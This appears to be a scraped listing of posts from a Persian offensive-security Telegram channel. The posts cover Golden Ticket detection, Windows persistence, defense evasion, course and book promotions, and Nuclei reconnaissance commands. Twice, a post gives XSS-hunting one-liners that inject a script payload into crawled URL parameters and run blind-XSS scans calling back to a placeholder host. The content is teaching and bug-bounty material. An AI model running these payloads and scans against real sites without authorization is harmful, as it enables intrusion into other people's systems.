Try Hack Box
Kanalga Telegram’da o‘tish
1 Nov 2020 1399/08/11 🔴 THB | Offensive Security آموزش، تحقیق و تجربه عملی در امنیت تهاجمی Penetration Testing · Red Teaming · AI Security 🎯 یاد بگیر. آزمایش کن. حرفهای شو.
Ko'proq ko'rsatish7 209
Obunachilar
+2424 soatlar
+997 kun
+40330 kun
Postlar arxiv
' | while read url; do curl -s \"$url\" | grep -q \"\" && echo \"[XSS] $url\"; done\n\n\n۲. Gospider + Dalfox\n\ngospider -S URLS.txt -c 10 -d 5 --blacklist \".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)\" --other-source | grep -oP \"https?://[^ ]+\" | grep \"=\" | qsreplace -a | dalfox pipe\n\n\n۳. Wayback + GF + Blind XSS via Dalfox\n\nwaybackurls target.com | gf xss | sed 's/=.*/=/' | sort -u | dalfox -b yoursubdomain.xss.ht pipe\n\n\n۴. Gospider + Dalfox (Deep Crawl)\n\ngospider -S targets.txt -c 20 -d 3 --js --sitemap --robots | grep -oP \"https?://[^\\s']+\" | grep \"=\" | uro | dalfox pipe -o gospider_xss.txt\n\n\n۵. Dalfox Direct with Blind XSS\n\ncat urls.txt | dalfox pipe -b yourdomain.xss\n\n\nابزارهای مورد نیاز: \nhttpx, waybackurls, uro, gf, qsreplace, curl, gospider, dalfox\n\n\nکدوم one-liner XSS رو با Dalfox تست کردی که blind payload trigger کرد و bounty داد؟ تجربت رو کامنت کن\n\n\n@TryHackBox \n#باگ_بانتی","datePublished":"2026-09-30T15:24:06Z","dateModified":"2026-09-30T16:08:44Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":122},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3373","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3373","mainEntityOfPage":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3373","headline":"06:: PORTS 25/465/587 اSMTP برای ارسال و انتقال ایمیل استفاده میشود ادامه در : https://x.com/KavehxNet/status…","articleBody":"06:: PORTS 25/465/587\n\nاSMTP برای ارسال و انتقال ایمیل استفاده میشود\n\nادامه در : \n\nhttps://x.com/KavehxNet/status/2104984100004098326","datePublished":"2026-09-29T17:22:01Z","dateModified":"2026-09-30T09:40:16Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":294},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2026-09-29T17:21:25Z"}}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3372","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3372","mainEntityOfPage":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3372","headline":"🎥 شروع دوره #رایگان Network+ در TryHackBox - معرفی دوره یکی از مدرسین تیم TryHackBox ( اقای حسین نائیجی ) ضبط…","articleBody":"🎥 شروع دوره #رایگان Network+ در TryHackBox - معرفی دوره\n\nیکی از مدرسین تیم TryHackBox ( اقای حسین نائیجی ) ضبط دوره Network+ رو شروع کرده و اولین و دومین ویدئو آماده شده.\n\nبرای تهیه این دوره از زیر استفاده شده است :\n📘 CompTIA Network+ Study Guide\n🎯 N10-009\n\n\nاما قبل از اینکه ضبط ادامه دوره رو شروع کنیم، میخوایم اول نظر خودتون رو بدونیم.\nویدئو رو ببینید و صادقانه بهمون بگید:\n\n🔹 نحوه تدریس و توضیح مطالب چطوره؟\n🔹 سرعت صحبت و بیان مدرس مناسبه؟\n🔹 کیفیت صدا و تصویر قابل قبوله؟\n🔹 این سبک تدریس رو برای ادامه دوره میپسندید؟\n\nاگر جایی ایراد داره، راحت بگید.\n\nحتی اگر فکر میکنید این سبک آموزش مناسب نیست، دوست داریم بدونیم چرا.\nفعلاً تعداد ویدئوهای زیادی ضبط نشده؛\nبرای همین فیدبک شما میتونه مستقیماً روی ادامه تولید این دوره تأثیر بذاره.\n\nپس ویدئو رو ببینید و بهمون بگید:\n\nادامه بدیم؟\n\nاگر آره، چه چیزی رو بهتر کنیم؟ 👇\nمنتظر فیدبک تون هستیم.\n\n@TryHackBox\n@TryHackBoxOfficial\n@AiTHB\n@RadioZeroPod\n#NetworkPlus #CyberSecurity #Networking","datePublished":"2026-09-29T15:29:00Z","dateModified":"2026-09-30T09:40:16Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":10,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":346},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":10}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2026-08-10T10:48:27Z"}}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3371","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3371","mainEntityOfPage":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3371","headline":"🔥 برای جمع آوری اطلاعات سریع تر nuclei -list targets.txt -ai \"Extract page title, detech tech and versions\"…","articleBody":"🔥 برای جمع آوری اطلاعات سریع تر\n\nnuclei -list targets.txt -ai \"Extract page title, detech tech and versions\"\n\nnuclei -list targets.txt -ai \"Extract email addresses from web pages\"\n\nnuclei -list targets.txt -ai \"Extract all subdomains referenced in web pages\"\n\nnuclei -list targets.txt -ai \"Extract all external resource URLs (CDNs, images, iframes, fonts) from HTML\"\n\nnuclei -list targets.txt -ai \"Extract social media profile links from web pages\"\n\nnuclei -list targets.txt -ai \"Extract links pointing to staging, dev, or beta environments from HTML\"\n\nnuclei -list targets.txt -ai \"Extract all links pointing to PDF, DOCX, XLSX, and other downloadable documents\"\n\n\nکدوم دستور Nuclei AI رو تست کردین که staging لینک یا ایمیل حساس رو شکار کرد؟ تجربتون رو کامنت کنین\n\n@TryHackBox","datePublished":"2026-09-29T07:39:58Z","dateModified":"2026-09-29T15:32:04Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":265},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":22},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2026-08-06T08:06:01Z"}}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3370","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3370","mainEntityOfPage":"https://telemetr.io/uz/channels/1218408024-tryhackbox/posts/3370","headline":"اگه مهاجم فقط به یک سیستم داخل شبکه دسترسی پیدا کنه، چطور میتونه به کل دامین برسه؟ @TryHackBoxGroup","articleBody":"اگه مهاجم فقط به یک سیستم داخل شبکه دسترسی پیدا کنه، چطور میتونه به کل دامین برسه؟\n\n@TryHackBoxGroup","datePublished":"2026-09-29T06:03:31Z","dateModified":"2026-09-29T07:40:09Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/uz/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":169},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}}]}


















7 217
Repost from
در Golden Ticket، یکی از چیزهایی که برای Hunting باید بهش دقت کنی، رابطه بین TGT و TGS است.
در حالت عادی:
اول Client یک TGT میگیرد.
بعد با استفاده از آن TGT برای Service موردنظر TGS درخواست میکند.
پس روی Domain Controller معمولاً میتوانی ارتباطی بین:
4768 → TGT Request
و
4769 → TGS Request
ببینی ، حالا یک سناریو را تصور کن:
برای یک Account، Event 4769 داری.
اما Event 4768 متناسب با آن پیدا نمیکنی.
این میتواند یک Signal مهم باشد.
مخصوصاً اگر همزمان ببینی:
لAccount Privileged است.
اSource سیستم معمولی نیست.
اAccount وضعیت عادی ندارد یا حتی دیگر وجود ندارد.
یک Identity برای تعداد زیادی Service درخواست میدهد.
یا الگوی Kerberos در آن سیستم با رفتار معمولش فرق دارد.
اینجا احتمال Ticket Forgery جدی تر میشود.
اما یک نکته مهم:
نبودن 4768 به معنی Golden Ticket قطعی نیست.
ممکن است TGT از قبل Cache شده باشد.
ممکن است Logها کامل نباشند.
اVPN، NAT و Cross-Domain Referral هم میتوانند Correlation را پیچیده کنند.
پس Hunting درست این نیست که بگویی:
4769 بدون 4768 = Golden Ticket
بلکه باید بگید:
4769 بدون 4768 + رفتار غیرعادی + Identity مشکوک + دسترسی Privileged
حالا ارزش بررسی دارد.
در Detection، هیچ Eventی را جدا از Context خودش نبین.
اGolden Ticket دقیقاً جایی خطرناک میشود که یک Ticket جعلی بتواند در بین Authenticationهای کاملاً legitimate گم شود.
@KavehOffSec
#Red_Team #RedTeam7 217
Repost from Try Hack Box
⭕️ دیگر کانال ها و شبکه های اجتماعی ما را دنبال کنید :
💠 کانال های تلگرام ما :
🔶 آموزش تست نفوذ و Red Team
🆔 @TryHackBox
🔶 رودمپ های مختلف
🆔 @TryHackBoxOfficial
🔶 آموزش Ai Security
🆔 @AITHB
🔶 آموزش برنامه نویسی
🆔 @TryCodeBox
🔶 رادیو زیروپاد ( پادکست ها )
🆔 @RadioZeroPod
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
👥 گروه های پرسش و پاسخ
🔷 هک و امنیت
🆔 @TryHackBoxGroup
🔷 برنامه نویسی
🆔 @TryCodeBoxGroup
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🔴 اینستاگرام :
🔗 http://www.instagram.com/TryHackBox
🔵 یوتیوب :
🔗 https://youtube.com/@tryhackbox
🟠 گیت هاب ما :
🔗 https://github.com/TryHackBox/
🟣 لینکدین ما :
🔗 https://www.linkedin.com/company/tryhackbox-org
7 217
🎬 جذب تدوینگر ویدیو برای تیم TryHackBox
مجموعه TryHackBox برای توسعه محتوای ویدیویی خود در Instagram و سایر پلتفرم ها به یک Video Editor علاقه مند و مسئولیت پذیر نیاز دارد.
این همکاری در مرحله فعلی به صورت داوطلبانه است، اما قرار نیست صرفاً «تدوین رایگان» باشد. فردی که به تیم اضافه میشود در فرآیند واقعی تولید محتوای Cybersecurity حضور خواهد داشت و بخشی از تیم تولید محتوای TryHackBox خواهد بود.
وظایف:
• تدوین Reels و ویدیوهای آموزشی
ا • Cut و Pacing مناسب برای محتوای کوتاه • اضافه کردن Subtitle و Motion ساده
• آمادهسازی خروجی مناسب Instagram
• همکاری با تیم محتوا برای اجرای سناریوها
• حفظ یک Style و Visual Identity یکپارچه برای TryHackBox
مهارت های موردنظر:
• تسلط به Premiere Pro، DaVinci Resolve یا نرمافزار مشابه
• درک مناسب از تدوین محتوای Short-form • آشنایی با Motion Graphics یک مزیت محسوب میشود
• دقت، مسئولیتپذیری و توانایی کار تیمی
• داشتن چند نمونه کار برای بررسی
مزایای همکاری:
• عضویت در تیم تولید محتوای TryhackBox
• ساخت Portfolio با پروژههای واقعی حوزه Cybersecurity
• معرفی و اعتباردهی به عنوان عضو تیم در پروژههای قابل انتشار
• دسترسی به بخشی از محتوای آموزشی TryHackBox
• امکان همکاری در پروژه های تخصصی و تجاری آینده
• اولویت برای همکاری های Paid در صورت شکل گیری پروژههای درآمدزا
• امکان رشد به عنوان Video Editor اصلی تیم
اگر به تدوین علاقه دارید و دوست دارید در کنار یک تیم تخصصی Cybersecurity تجربه واقعی کسب کنید، نمونهکارها و معرفی کوتاهی از خودتان را برای ما ارسال کنید.
📩 ارتباط:
@THBxSupport
7 217
Repost from TryHackBox ( AI Security )
📌 نقشه خطرات هوش مصنوعی مبتنی بر عامل ، نسخه 2، ژوئن 2026.
@AiTHB
#هوش_مصنوعی
7 217
روز مهر و ماه مهر و جشن فرخمهرگان
مهر بفزای ای نگار مهرجوی مهربان
مهربانی کن به جشن مهرگان و روز مهر
مهربانی به بروز مهر و جشن مهرگان
جشن مهرگان
گاه پیروزی نور و مهر و روشنایی بر تاریکی و ستم ،خجسته باد
7 217
Repost from
ویندوز و مک بدون اجازه ت کلی داده ازت جمع میکنن
لینوکس این کار رو نمیکنه (یا حداقل کنترلش دست خودته)
فرق اصلیشون رو ساده و کاربردی میگم:
https://x.com/KavehxNet/status/2105180790027956224
اگر به این جور موضوعات علاقه دارین
توییت های بیشتری درباره حریم خصوصی نظارت و امنیت دیجیتال میذارم
7 217
Repost from Try Hack Box
🛡️ PERSISTENCE SERIES | PART 1
خب Persistence یعنی چی؟
فرض کنید مهاجم بعد از Initial Access تونسته وارد یک سیستم بشه.
خب، حالا اگر سیستم Reboot بشه چی؟
اگر Session بسته بشه؟
اگر Process مربوط به دسترسی از بین بره؟
اینجاست که Persistence اهمیت پیدا میکنه.
اگه به زبان ساده بگم Persistence یعنی مهاجم راهی ایجاد کنه که بعد از از دست رفتن دسترسی اولیه، بتونه دوباره به سیستم یا محیط موردنظرش دسترسی پیدا کنه.
در Windows، مکانیزم های مختلفی میتونن در این زمینه مورد بررسی قرار بگیرن.
مثل:
🔹 Registry Run Keys
🔹 Scheduled Tasks
🔹 Windows Services
🔹 WMI Event Subscriptions
اما یک نکته مهم وجود داره:
ا Persistence همیشه یک فایل عجیبوغریب یا یک رفتار کاملاً مشخص نیست.
گاهی یک Configuration، یک Task یا حتی یک Service میتونه کاملاً عادی به نظر برسه.
چیزی که اون رو مشکوک میکنه، معمولاً Context و رفتاریه که در اطرافش اتفاق می افته.
⚠️ این مطالب صرفاً برای آموزش و Authorized Security Assessments است.
1/2
@TryHackBox
#TryHackBox #CyberSecurity #Persistence #RedTeam #WindowsSecurity
7 217
Repost from Try Hack Box
📚 مجموعه کتابهای کاربردی در دنیای امنیت
📖 کتابچه "Mimikatz: تسلط عملی بر تکنیکهای پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته.
📕 جزئیات بیشتر کتاب
💰 قیمت : ۲۵۰,۰۰۰ تومان
📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته
📕 جزئیات بیشتر کتاب
💰 قیمت : ۲۵۰,۰۰۰ تومان
📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی
📕 جزئیات بیشتر کتاب
💰 قیمت : ۳۶۰,۰۰۰ تومان
📖 کتابچه Kerberos For Pentesters
📕 جزئیات بیشتر کتاب
💰 قیمت : ۲۶۹ تومان
ممکنه در آینده قیمت کتاب ها تغییر کنه و افزایش داشته باشه بنابراین اگر قصد خرید دارید، قیمت فعلی فرصت خوبی برای تهیه کتاب هاست.
📌 جهت خرید به ایدی زیر پیام دهید:
@THBxSupport
7 217
Repost from Try Hack Box
وقتی مهاجم نمی خواهد دیده شود
بعد از ورود مهاجم به سیستم، داستان تمام نمیشود اتفاقاً یکی از مهم ترین بخش های حمله از همین جا شروع می شود:
چطور فعالیتش را انجام دهد بدون اینکه EDR، Antivirus و سایر Security Controls بهسرعت متوجه آن شوند؟
در اسلایدهای جدید TryHackBox چند تکنیک مهم Defense Evasion رو بررسی کردیم:
🔹 AMSI Bypass
🔹 Process Injection
🔹 Timestomping
🔹 Living off the Land
🔹 Log Clearing
این بار مطالب رو بهصورت اسلایدی و تصویری آماده کردیم تا تکنیکها و روش Detection اونها راحت تر قابل بررسی باشه.
🎯 اما یک سؤال:
به نظرتون کدوم تکنیک برای Detection چالش برانگیزتره؟
و چرا؟
📸 اسلایدهای کامل رو در اینستاگرام ببینید و نظرتون رو اونجا بنویسید:
https://www.instagram.com/p/DcCKiJRDFAx/
@TryHackBox
@TryHackBoxOfficial
@RadioZeroPod
@AiTHB
#TryHackBox #CyberSecurity #DefenseEvasion #RedTeam #EDR #ThreatDetection
7 217
دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه اجتمال قطعی اینترنت هست .
کانال ما در بله
https://ble.ir/TryHackBox
7 217
🔖 فقط چند one-liner killer برای XSS hunting رو دراپ میکنم
💢 فرمان های تمیز برای شکار XSS Payload:
۱. Wayback + httpx + GF + Dalfox
cat domains.txt | httpx -silent -ports 80,443,8080,8443,3000,8000 | waybackurls | grep "=" | uro | gf xss | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -q "<script>alert(1)</script>" && echo "[XSS] $url"; done
۲. Gospider + Dalfox
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -oP "https?://[^ ]+" | grep "=" | qsreplace -a | dalfox pipe
۳. Wayback + GF + Blind XSS via Dalfox
waybackurls target.com | gf xss | sed 's/=.*/=/' | sort -u | dalfox -b yoursubdomain.xss.ht pipe
۴. Gospider + Dalfox (Deep Crawl)
gospider -S targets.txt -c 20 -d 3 --js --sitemap --robots | grep -oP "https?://[^\s']+" | grep "=" | uro | dalfox pipe -o gospider_xss.txt
۵. Dalfox Direct with Blind XSS
cat urls.txt | dalfox pipe -b yourdomain.xss
ابزارهای مورد نیاز:
httpx, waybackurls, uro, gf, qsreplace, curl, gospider, dalfox
کدوم one-liner XSS رو با Dalfox تست کردی که blind payload trigger کرد و bounty داد؟ تجربت رو کامنت کن@TryHackBox #باگ_بانتی
7 217
Repost from
06:: PORTS 25/465/587
اSMTP برای ارسال و انتقال ایمیل استفاده میشود
ادامه در :
https://x.com/KavehxNet/status/2104984100004098326
7 217
Repost from Try Hack Box
🎥 شروع دوره #رایگان Network+ در TryHackBox - معرفی دوره
یکی از مدرسین تیم TryHackBox ( اقای حسین نائیجی ) ضبط دوره Network+ رو شروع کرده و اولین و دومین ویدئو آماده شده.
برای تهیه این دوره از زیر استفاده شده است :
📘 CompTIA Network+ Study Guide 🎯 N10-009اما قبل از اینکه ضبط ادامه دوره رو شروع کنیم، میخوایم اول نظر خودتون رو بدونیم. ویدئو رو ببینید و صادقانه بهمون بگید:
🔹 نحوه تدریس و توضیح مطالب چطوره؟ 🔹 سرعت صحبت و بیان مدرس مناسبه؟ 🔹 کیفیت صدا و تصویر قابل قبوله؟ 🔹 این سبک تدریس رو برای ادامه دوره میپسندید؟اگر جایی ایراد داره، راحت بگید. حتی اگر فکر میکنید این سبک آموزش مناسب نیست، دوست داریم بدونیم چرا. فعلاً تعداد ویدئوهای زیادی ضبط نشده؛ برای همین فیدبک شما میتونه مستقیماً روی ادامه تولید این دوره تأثیر بذاره. پس ویدئو رو ببینید و بهمون بگید: ادامه بدیم؟
اگر آره، چه چیزی رو بهتر کنیم؟ 👇 منتظر فیدبک تون هستیم.@TryHackBox @TryHackBoxOfficial @AiTHB @RadioZeroPod #NetworkPlus #CyberSecurity #Networking
7 217
Repost from Try Hack Box
🔥 برای جمع آوری اطلاعات سریع تر
nuclei -list targets.txt -ai "Extract page title, detech tech and versions"
nuclei -list targets.txt -ai "Extract email addresses from web pages"
nuclei -list targets.txt -ai "Extract all subdomains referenced in web pages"
nuclei -list targets.txt -ai "Extract all external resource URLs (CDNs, images, iframes, fonts) from HTML"
nuclei -list targets.txt -ai "Extract social media profile links from web pages"
nuclei -list targets.txt -ai "Extract links pointing to staging, dev, or beta environments from HTML"
nuclei -list targets.txt -ai "Extract all links pointing to PDF, DOCX, XLSX, and other downloadable documents"
کدوم دستور Nuclei AI رو تست کردین که staging لینک یا ایمیل حساس رو شکار کرد؟ تجربتون رو کامنت کنین@TryHackBox
7 217
اگه مهاجم فقط به یک سیستم داخل شبکه دسترسی پیدا کنه، چطور میتونه به کل دامین برسه؟
@TryHackBoxGroup
